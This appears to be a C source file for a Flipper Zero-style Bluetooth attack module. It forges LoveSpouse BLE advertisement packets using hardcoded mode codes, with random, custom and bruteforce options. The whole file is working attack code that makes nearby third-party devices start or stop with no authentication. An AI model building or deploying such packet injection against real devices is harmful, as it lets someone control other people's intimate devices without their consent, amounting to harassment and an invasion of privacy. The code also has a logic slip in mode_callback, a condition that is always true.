lovespouse.c 9.6 KB

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  1. #include "lovespouse.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // Discovered by @mandomat
  5. // Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/
  6. typedef struct {
  7. uint32_t value;
  8. const char* name;
  9. } LovespouseMode;
  10. static const LovespouseMode plays[] = {
  11. {0xE49C6C, "Classic 1"}, {0xE7075E, "Classic 2"}, {0xE68E4F, "Classic 3"},
  12. {0xE1313B, "Classic 4"}, {0xE0B82A, "Classic 5"}, {0xE32318, "Classic 6"},
  13. {0xE2AA09, "Classic 7"}, {0xED5DF1, "Classic 8"}, {0xECD4E0, "Classic 9"},
  14. {0xD41F5D, "Independent 1-1"}, {0xD7846F, "Independent 1-2"}, {0xD60D7E, "Independent 1-3"},
  15. {0xD1B20A, "Independent 1-4"}, {0xD0B31B, "Independent 1-5"}, {0xD3A029, "Independent 1-6"},
  16. {0xD22938, "Independent 1-7"}, {0xDDDEC0, "Independent 1-8"}, {0xDC57D1, "Independent 1-9"},
  17. {0xA4982E, "Independent 2-1"}, {0xA7031C, "Independent 2-2"}, {0xA68A0D, "Independent 2-3"},
  18. {0xA13579, "Independent 2-4"}, {0xA0BC68, "Independent 2-5"}, {0xA3275A, "Independent 2-6"},
  19. {0xA2AE4B, "Independent 2-7"}, {0xAD59B3, "Independent 2-8"}, {0xACD0A2, "Independent 2-9"},
  20. };
  21. static const LovespouseMode stops[] = {
  22. {0xE5157D, "Classic Stop"},
  23. {0xD5964C, "Independent 1 Stop"},
  24. {0xA5113F, "Independent 2 Stop"},
  25. };
  26. static const struct {
  27. const LovespouseMode* modes;
  28. uint8_t count;
  29. } modes[LovespouseStateCOUNT] = {
  30. [0] = {plays, COUNT_OF(plays)},
  31. [LovespouseStatePlay] = {plays, COUNT_OF(plays)},
  32. [LovespouseStateStop] = {stops, COUNT_OF(stops)},
  33. };
  34. static const char* get_name(const Payload* payload) {
  35. UNUSED(payload);
  36. return "LoveSpouse";
  37. }
  38. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  39. LovespouseCfg* cfg = payload ? &payload->cfg.lovespouse : NULL;
  40. LovespouseState state;
  41. if(cfg && cfg->state != 0x00) {
  42. state = cfg->state;
  43. } else {
  44. const LovespouseState states[] = {
  45. LovespouseStatePlay,
  46. LovespouseStateStop,
  47. };
  48. state = states[rand() % COUNT_OF(states)];
  49. }
  50. uint32_t mode;
  51. switch(cfg ? payload->mode : PayloadModeRandom) {
  52. case PayloadModeRandom:
  53. default:
  54. mode = modes[state].modes[rand() % modes[state].count].value;
  55. break;
  56. case PayloadModeValue:
  57. mode = cfg->mode;
  58. break;
  59. case PayloadModeBruteforce:
  60. mode = cfg->mode = payload->bruteforce.value;
  61. break;
  62. }
  63. uint8_t size = 22;
  64. uint8_t* packet = malloc(size);
  65. uint8_t i = 0;
  66. packet[i++] = 2; // Size
  67. packet[i++] = 0x01; // AD Type (Flags)
  68. packet[i++] = 0x1A; // Flags
  69. packet[i++] = 14; // Size
  70. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  71. packet[i++] = 0xFF; // Company ID (Typo Products, LLC)
  72. packet[i++] = 0x00; // ...
  73. packet[i++] = 0x6D;
  74. packet[i++] = 0xB6;
  75. packet[i++] = 0x43;
  76. packet[i++] = 0xCE;
  77. packet[i++] = 0x97;
  78. packet[i++] = 0xFE;
  79. packet[i++] = 0x42;
  80. packet[i++] = 0x7C;
  81. packet[i++] = (mode >> 0x10) & 0xFF;
  82. packet[i++] = (mode >> 0x08) & 0xFF;
  83. packet[i++] = (mode >> 0x00) & 0xFF;
  84. packet[i++] = 3; // Size
  85. packet[i++] = 0x03; // AD Type (Service UUID List)
  86. packet[i++] = 0x8F; // Service UUID (Unregistered)
  87. packet[i++] = 0xAE; // ...
  88. *_size = size;
  89. *_packet = packet;
  90. }
  91. enum {
  92. _ConfigExtraStart = ConfigExtraStart,
  93. ConfigMode,
  94. ConfigCOUNT,
  95. };
  96. static void config_callback(void* _ctx, uint32_t index) {
  97. Ctx* ctx = _ctx;
  98. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  99. switch(index) {
  100. case ConfigMode:
  101. scene_manager_next_scene(ctx->scene_manager, SceneLovespouseMode);
  102. break;
  103. default:
  104. ctx->fallback_config_enter(ctx, index);
  105. break;
  106. }
  107. }
  108. static void mode_changed(VariableItem* item) {
  109. Payload* payload = variable_item_get_context(item);
  110. LovespouseCfg* cfg = &payload->cfg.lovespouse;
  111. uint8_t index = variable_item_get_current_value_index(item);
  112. if(index) {
  113. index--;
  114. payload->mode = PayloadModeValue;
  115. cfg->mode = modes[cfg->state].modes[index].value;
  116. variable_item_set_current_value_text(item, modes[cfg->state].modes[index].name);
  117. } else {
  118. payload->mode = PayloadModeRandom;
  119. variable_item_set_current_value_text(item, "Random");
  120. }
  121. }
  122. static void extra_config(Ctx* ctx) {
  123. Payload* payload = &ctx->attack->payload;
  124. LovespouseCfg* cfg = &payload->cfg.lovespouse;
  125. VariableItemList* list = ctx->variable_item_list;
  126. VariableItem* item;
  127. uint8_t value_index;
  128. item = variable_item_list_add(
  129. list, "Toy Mode", modes[cfg->state].count + 1, mode_changed, payload);
  130. const char* mode_name = NULL;
  131. char mode_name_buf[9];
  132. switch(payload->mode) {
  133. case PayloadModeRandom:
  134. default:
  135. mode_name = "Random";
  136. value_index = 0;
  137. break;
  138. case PayloadModeValue:
  139. for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
  140. if(cfg->mode == modes[cfg->state].modes[i].value) {
  141. mode_name = modes[cfg->state].modes[i].name;
  142. value_index = i + 1;
  143. break;
  144. }
  145. }
  146. if(!mode_name) {
  147. snprintf(mode_name_buf, sizeof(mode_name_buf), "%06lX", cfg->mode);
  148. mode_name = mode_name_buf;
  149. value_index = modes[cfg->state].count + 1;
  150. }
  151. break;
  152. case PayloadModeBruteforce:
  153. mode_name = "Bruteforce";
  154. value_index = modes[cfg->state].count + 1;
  155. break;
  156. }
  157. variable_item_set_current_value_index(item, value_index);
  158. variable_item_set_current_value_text(item, mode_name);
  159. variable_item_list_set_enter_callback(list, config_callback, ctx);
  160. }
  161. static uint8_t config_count(const Payload* payload) {
  162. UNUSED(payload);
  163. return ConfigCOUNT - ConfigExtraStart - 1;
  164. }
  165. const Protocol protocol_lovespouse = {
  166. .icon = &I_heart,
  167. .get_name = get_name,
  168. .make_packet = make_packet,
  169. .extra_config = extra_config,
  170. .config_count = config_count,
  171. };
  172. static void mode_callback(void* _ctx, uint32_t index) {
  173. Ctx* ctx = _ctx;
  174. Payload* payload = &ctx->attack->payload;
  175. LovespouseCfg* cfg = &payload->cfg.lovespouse;
  176. if(index == 0) {
  177. payload->mode = PayloadModeRandom;
  178. scene_manager_previous_scene(ctx->scene_manager);
  179. } else if(index == modes[cfg->state].count + 1U) {
  180. scene_manager_next_scene(ctx->scene_manager, SceneLovespouseModeCustom);
  181. } else if(modes[cfg->state].count + 2U) {
  182. payload->mode = PayloadModeBruteforce;
  183. payload->bruteforce.counter = 0;
  184. payload->bruteforce.value = cfg->mode;
  185. payload->bruteforce.size = 3;
  186. scene_manager_previous_scene(ctx->scene_manager);
  187. } else {
  188. payload->mode = PayloadModeValue;
  189. cfg->mode = modes[cfg->state].modes[index - 1].value;
  190. scene_manager_previous_scene(ctx->scene_manager);
  191. }
  192. }
  193. void scene_lovespouse_mode_on_enter(void* _ctx) {
  194. Ctx* ctx = _ctx;
  195. Payload* payload = &ctx->attack->payload;
  196. LovespouseCfg* cfg = &payload->cfg.lovespouse;
  197. Submenu* submenu = ctx->submenu;
  198. uint32_t selected = 0;
  199. submenu_add_item(submenu, "Random", 0, mode_callback, ctx);
  200. if(payload->mode == PayloadModeRandom) {
  201. selected = 0;
  202. }
  203. bool found = false;
  204. for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
  205. submenu_add_item(submenu, modes[cfg->state].modes[i].name, i + 1, mode_callback, ctx);
  206. if(!found && payload->mode == PayloadModeValue &&
  207. cfg->mode == modes[cfg->state].modes[i].value) {
  208. found = true;
  209. selected = i + 1;
  210. }
  211. }
  212. submenu_add_item(submenu, "Custom", modes[cfg->state].count + 1, mode_callback, ctx);
  213. if(!found && payload->mode == PayloadModeValue) {
  214. selected = modes[cfg->state].count + 1;
  215. }
  216. submenu_add_item(submenu, "Bruteforce", modes[cfg->state].count + 2, mode_callback, ctx);
  217. if(payload->mode == PayloadModeBruteforce) {
  218. selected = modes[cfg->state].count + 2;
  219. }
  220. submenu_set_selected_item(submenu, selected);
  221. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  222. }
  223. bool scene_lovespouse_mode_on_event(void* _ctx, SceneManagerEvent event) {
  224. UNUSED(_ctx);
  225. UNUSED(event);
  226. return false;
  227. }
  228. void scene_lovespouse_mode_on_exit(void* _ctx) {
  229. Ctx* ctx = _ctx;
  230. submenu_reset(ctx->submenu);
  231. }
  232. static void mode_custom_callback(void* _ctx) {
  233. Ctx* ctx = _ctx;
  234. Payload* payload = &ctx->attack->payload;
  235. LovespouseCfg* cfg = &payload->cfg.lovespouse;
  236. payload->mode = PayloadModeValue;
  237. cfg->mode =
  238. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  239. scene_manager_previous_scene(ctx->scene_manager);
  240. scene_manager_previous_scene(ctx->scene_manager);
  241. }
  242. void scene_lovespouse_mode_custom_on_enter(void* _ctx) {
  243. Ctx* ctx = _ctx;
  244. Payload* payload = &ctx->attack->payload;
  245. LovespouseCfg* cfg = &payload->cfg.lovespouse;
  246. ByteInput* byte_input = ctx->byte_input;
  247. byte_input_set_header_text(byte_input, "Enter custom Toy Mode");
  248. ctx->byte_store[0] = (cfg->mode >> 0x10) & 0xFF;
  249. ctx->byte_store[1] = (cfg->mode >> 0x08) & 0xFF;
  250. ctx->byte_store[2] = (cfg->mode >> 0x00) & 0xFF;
  251. byte_input_set_result_callback(
  252. byte_input, mode_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  253. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  254. }
  255. bool scene_lovespouse_mode_custom_on_event(void* _ctx, SceneManagerEvent event) {
  256. UNUSED(_ctx);
  257. UNUSED(event);
  258. return false;
  259. }
  260. void scene_lovespouse_mode_custom_on_exit(void* _ctx) {
  261. UNUSED(_ctx);
  262. }